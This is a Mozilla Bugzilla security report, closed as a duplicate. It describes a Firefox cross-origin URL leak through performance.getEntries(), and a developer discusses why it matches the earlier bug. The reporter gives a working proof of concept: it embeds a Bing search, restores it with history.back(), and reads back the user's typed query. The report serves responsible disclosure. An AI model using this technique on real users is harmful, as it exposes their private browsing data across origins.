1495324 - Cross-Origin URL Steal is possible using performance.getEntries()

Status: RESOLVED DUPLICATE of bug 1491575

(Core :: DOM: Core & HTML, defect)

Description

[James Lee]

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Steps to reproduce:

Steps to reproduce:

First, we are using Resource Timing API to confuse this browser and this functionality problem ends up being a security bug.

We are navigating the cross-origin page inside an embed tag. We can fool the browser and make it remember the typed information in the wrong place. 

This allows us to access information across origins.

I used history.back() to make sure embed tag remember the typed information.

Test live on: http://pwning.click/xoriginff.php

Proof Of Concept:

xoriginff.php:

<embed src="https://www.bing.com/search?q=test">
<script>
setTimeout(function(){alert(performance.getEntriesByType("resource")[0].name)},5000);
</script>
<meta http-equiv="refresh" content="6;url=http://pwning.click/histback.html">
<b>
<br>
<br>
<br>
Type anything into the search bar and press ENTER! 
<br>
<br>
<br>
Then I'll figure out your secret search!
</b>

histback.html:

<Script>
history.back();
</script>



Actual results:

Mozilla Firefox allows us to access Cross-Origin URL.



Expected results:

Accessing to Cross-Origin URL should be not possible.

Comment 1

[James Lee]

Ah, this is wrong description as it's same as https://bugzilla.mozilla.org/show_bug.cgi?id=1491575, following is the one:

Steps to reproduce:

First, we are using Resource Timing API to confuse this browser and this functionality problem ends up being a security bug.

We are navigating the cross-origin page inside an embed tag. We can fool the browser and make it remember the typed information in the wrong place. 

This allows us to access information across origins.

I used history.back() to make sure embed tag remember the typed information.

Test live on: http://pwning.click/xoriginff2.php

Proof Of Concept:

xoriginff.php:

<embed src="https://www.bing.com/search?q=test">
<script>
setTimeout(function(){alert(performance.getEntries("resource")[1].name)},5000);
</script>
<meta http-equiv="refresh" content="6;url=http://pwning.click/histback.html">
<b>
<br>
<br>
<br>
Type anything into the search bar and press ENTER! 
<br>
<br>
<br>
Then I'll figure out your secret search!
</b>

histback.html:

<Script>
history.back();
</script>

Comment 2

[Boris Zbarsky [:bzbarsky]]

This looks like a duplicate of bug 1491575 to me.   How is it different, exactly?

Comment 3

[Boris Zbarsky [:bzbarsky]]

Oh, getEntries vs getEntriesByType.  It's the same thing; the real issue is the entry is there.

Comment 4

[James Lee]

Yes, the (only) difference is I used performance.getEntries API instead of performance.getEntriesByType. They are different APIs, they behave different on several browsers but maybe not on Firefox.

Comment 5

[Boris Zbarsky [:bzbarsky]]

They are different APIs for reading from the same datastore sliced in different ways.  The question is what's in that datastore.

Comment 6

[James Lee]

E.g. it displays "first-paint" after first history navigation on Google Chrome when I use performance.getEntries API instead of performance.getEntriesByType.

Comment 7

[Boris Zbarsky [:bzbarsky]]

Sure, the exact set of entries can differ.  If you enumerate all the things in getEntries(), it will include all the things that getEntriesByType returns; the latter is just returning the result of a filter over the full set.